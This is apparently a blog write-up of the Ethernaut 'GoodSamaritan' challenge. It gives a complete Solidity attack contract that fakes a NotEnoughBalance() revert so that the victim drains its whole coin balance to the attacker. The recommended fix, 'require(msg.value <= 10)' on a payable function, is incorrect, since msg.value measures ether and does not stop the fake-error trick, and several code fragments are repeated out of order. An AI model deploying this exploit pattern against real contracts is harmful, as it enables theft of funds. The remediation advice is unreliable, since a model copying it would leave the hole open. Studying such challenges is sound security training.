WrappedUsername
This smart contract has a vulnerability, because:
/// @notice This function is the main target in the attack from the victim contract GoodSamaritan.sol. function requestDonation() external returns(bool enoughBalance){ // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left wallet.transferRemainder(msg.sender); return false; } } } /** * @notice This is the interface used to notify the attack contract, it is called from the main attack suface, * Coin a dependency of the victim contract. */ interface INotifyable { function notify(uint256 amount) external; } /** * @notice This transfer function from contract Coin, is the main attack surface from this dependency * of the victim contract, because of the second if() statement. Player will use INotifyable() from the attack * contract to intiate the attack on the main attack target from the victim contract. */ function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender]; // transfer only occurs if balance is enough if(amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_; if(dest_.isContract()) { // notify contract INotifyable(dest_).notify(amount_); } } else { revert InsufficientBalance(currentBalance, amount_); } }
The victim references three dependencies here, contract Coin has the main attack surface:
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/utils/Address.sol"; contract GoodSamaritan { Wallet public wallet; Coin public coin;
constructor() { wallet = new Wallet(); coin = new Coin(address(wallet)); wallet.setCoin(coin); } function requestDonation() external returns(bool enoughBalance){ // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { /** * @notice This if() statement is the main attack target specifically "NotEnoughBalance()", * player must send this error to satisfy this if statement. */ if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left wallet.transferRemainder(msg.sender); return false; } } } }
function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender]; // transfer only occurs if balance is enough if(amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_; if(dest_.isContract()) { // <--- Player is using an attack contract, so attack contract will receive notice // notify contract INotifyable(dest_).notify(amount_); } } else { revert InsufficientBalance(currentBalance, amount_); } }
interface INotifyable { function notify(uint256 amount) external; }
The vulnerability:
// there are no limits on this function. wallet.transferRemainder(msg.sender);
The attack contract:
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; /// @notice This is the interface to call the main target's function. interface IGoodSamaritan { function requestDonation() external returns (bool enoughBalance); } /// @title Ethernaut challenge 27, hack contract, steal everything! /// @author WrappedUsername contract GoodSamaritanAttack { /// @notice This error is used to satisfy the if() statement in the main target error NotEnoughBalance();
/** * @notice This is the attack, player simply requests a donation, * and steals everything with one click! */ function attack(address _addr) external { IGoodSamaritan(_addr).requestDonation(); } /// @notice Notify is called when this contract receives the tokens. function notify(uint256 amount) external pure { /** * @notice When the attack contract is notified about receiving 10 * tokens the attack contract reverts NotEnoughBalance() to the victim contract. */ if (amount == 10) { revert NotEnoughBalance(); } } }
The secret to the attack:
/** * @notice When the attack contract is notified about receiving 10 * tokens the attack contract reverts NotEnoughBalance() to the victim contract. */ if (amount == 10) { revert NotEnoughBalance(); }
function requestDonation() public payable returns(bool enoughBalance){ // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left require(msg.value <= 10); /// @notice <-------- Add require statement here! wallet.transferRemainder(msg.sender); return false; } } }
I am a self taught Solidity Smart Contract Auditor. Creator of this blog site.
Our sponsor Foam Chunk Smudge NFT, an abstract art project, has created a token pass utility for this NFT. The Foam Chunk Smudge NFT token HODLer community on Discord has access to private channels with special vip only announcements, and much more! Check them out!
Β© 2023 Journey Blog. All rights reserved.